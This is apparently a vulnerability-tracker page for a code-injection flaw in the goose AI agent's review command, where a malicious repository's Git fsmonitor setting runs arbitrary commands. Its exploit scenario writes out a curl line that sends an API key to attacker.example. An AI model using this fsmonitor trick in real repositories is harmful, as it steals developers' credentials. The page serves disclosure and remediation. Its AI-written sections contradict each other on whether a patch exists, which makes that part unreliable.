Skip to main content

goose AI agent EUVDEUVD-2026-55653

| CVE-2026-72718 HIGH
Code Injection (CWE-94)
2026-08-10 GitHub_M
7.0
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts malicious .git/config with fsmonitor hook
  2. Delivery
    Victim clones or opens malicious repository
  3. Exploit
    Victim runs `goose review` command
  4. Install
    goose invokes `git diff HEAD` without fsmonitor suppression
  5. C2
    Git executes attacker-nominated shell command
  6. Execute
    Attacker's payload runs with victim's privileges and environment
  7. Impact
    API keys and secrets exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must run goose review with the current working directory set to, or within, a repository whose .git/config contains a [core] fsmonitor entry pointing to an attacker-controlled command. The attacker must control repository content (e.g., via a malicious open-source repo, a compromised dependency, or a social-engineering scenario). No authentication to any remote service is required once the repository is on disk. Exploitation is limited by the requirement for user interaction: the victim must explicitly invoke goose review. The command executes before any model call, tool-approval prompt, or trust dialog - goose's permission model does not protect against this. Only the goose review subcommand is affected; other goose workflows that do not invoke the vulnerable touched_files() or collect_diff() functions are not directly impacted by this specific code path.

Impact

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:L/UI:A) correctly characterises this as a local-access, user-interaction-required flaw with high confidentiality, integrity, and availability impact to the vulnerable system and no scope change. The local attack vector is apt: exploitation requires the victim user to cd into a malicious repository and voluntarily run goose review. The PR:L rating reflects that the attacker must control repository content (a low-privileged precondition), while UI:A acknowledges the required user action. Despite the 7.0 score being mid-range, the real-world impact is disproportionate: successful exploitation exfiltrates the user's AI provider API keys and any secrets in the environment, which can have secondary financial and access consequences well beyond the local machine. The EPSS score is not provided, and the vulnerability is not listed in CISA KEV, so widespread automated exploitation is not confirmed. Nonetheless, the attack is fully reproducible using only a crafted .git/config - no memory corruption or complex heap state is required - meaning even a mid-sized development team in bytom, or any organisation whose developers routinely clone and review third-party repositories, should treat this as urgent patching given how naturally developers encounter untrusted repos. The absence of sandboxing for the context-gathering Git process is the critical architectural gap; goose's tool-permission model does not cover pre-prompt subprocess invocations.

Exploit ScenarioDerived

An attacker publishes or contributes a Git repository containing a .git/config file with [core] fsmonitor = curl https://attacker.example/exfil?k=$(printenv GOOSE_API_KEY) (or similar). A developer clones the repository and runs goose review to get an AI-assisted code review; before goose contacts any model, the git diff HEAD subprocess triggers Git's fsmonitor hook, executing the attacker's command with the developer's environment variables - silently exfiltrating API keys and other secrets. No POC has been publicly released, but the attack requires only a crafted text file, making independent reproduction trivial.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Arbitrary command execution in the goose AI agent's goose review command allows a malicious Git repository to run attacker-controlled code on the host before any model interaction occurs. The vulnerability exists in versions prior to 1.44.0 and stems from goose invoking the system git binary without suppressing the core.fsmonitor configuration key, meaning a repository's .git/config can nominate an arbitrary command that Git then executes during index refresh. Exploitation requires only that a user runs goose review inside a malicious repository, and the injected command inherits the user's full environment - including provider API keys and filesystem access. No public exploit has been identified at time of analysis, though the fix commit and advisory are public.

RemediationAI

Upgrade to goose version 1.44.0 or later, which is confirmed released at https://github.com/aaif-goose/goose/releases/tag/v1.44.0. The fix replaces all bare Command::new("git") calls with a hardened git_command() helper that unconditionally passes -c core.fsmonitor=false -c safe.bareRepository=explicit, neutralising repository-controlled hook injection. If an immediate upgrade is not possible, the primary compensating control is to avoid running goose review inside any repository whose .git/config or provenance you do not fully trust - this eliminates the attack surface entirely since the exploit requires a malicious repository to be the working directory. There is no network-level mitigation applicable, as the attack is entirely local. The trade-off of the workaround is operational: it prevents use of goose review on third-party or cloned repositories until the patch is applied. The advisory and fix commit are at https://github.com/aaif-goose/goose/commit/f8b5b7ba1fe6d006ccf6942f6b85a1bae985a2de.

Affected VersionsENISA

goose < 1.44.0

Affected Packages

euvd goose fix: 1.44.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerable component is git_command() in crates/goose-cli/src/commands/review/handler.rs, which previously called std::process::Command::new("git") directly without any hardening flags. Git's core.fsmonitor feature allows a repository-local .git/config to specify a shell command that Git runs during index refresh to accelerate change detection. When goose invoked git diff --name-only HEAD or git diff HEAD via touched_files() and collect_diff(), Git would honour the repo's core.fsmonitor setting and execute the attacker-nominated command. The root cause is CWE-94 (Improper Control of Generation of Code), specifically the failure to neutralize repository-controlled interpreter directives before passing control to a subordinate process. The fix, merged in v1.44.0, introduces a centralised git_command() helper in crates/goose/src/subprocess.rs that unconditionally prepends -c core.fsmonitor=false -c safe.bareRepository=explicit to every Git invocation, stripping the attacker's ability to inject hooks.

Know when Goose gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.0 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.3 HIGH

Local attack vector with low-privilege repo access and required user action (running goose review); full C/I/A impact on the user's system, no scope change.

3.1 AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 7.3 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 10, 2026 - 17:03 EUVD
CVE Published
Aug 10, 2026 - 15:33 cve.org
HIGH 7.0

DescriptionCVE.org

goose is general-purpose AI agent that runs on your machine. Prior to 1.44.0, the goose review command runs the system git executable to gather the diff for review without stripping attacker-controlled Git configuration. A malicious repository whose .git/config sets [core] fsmonitor = <command> causes Git to execute that command on the host during the index refresh performed by git diff HEAD. The command runs before goose contacts a model and without a submitted prompt, model call, tool approval, or trust prompt. The context-gathering Git process is not sandboxed and is outside goose's tool-permission model. Arbitrary commands run with the privileges and environment of the user running goose, allowing file access or modification and exfiltration of environment secrets and provider API keys. The vulnerable Git invocations are built by git_command() in crates/goose-cli/src/commands/review/handler.rs and are used by touched_files() and collect_diff() for git diff --name-only HEAD and git diff HEAD. This issue is fixed in version 1.44.0.

Executive ViewAI

Why It Matters

The goose AI agent's goose review command contains an arbitrary code execution vulnerability that allows attackers to execute commands on developer workstations through malicious Git repositories, gaining access to API credentials and system resources. Since no patched version is currently available, any organization using goose faces immediate risk of credential compromise and lateral movement through developer environments.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict goose review command to trusted internal repositories only, disable Git fsmonitor via core.fsmonitor=false in organization Git configuration, implement process monitoring to detect unexpected child processes spawned from Git operations, monitor environment variable exposure from Git-related processes, and restrict goose usage to isolated development environments with minimal access to production credentials.

Threat Intelligence Overview

EPSS Score
0.1%
Top 97% exploitable
Prevalence
Low
niche developer-facing AI agent tool, limited enterprise footprint
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +35
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy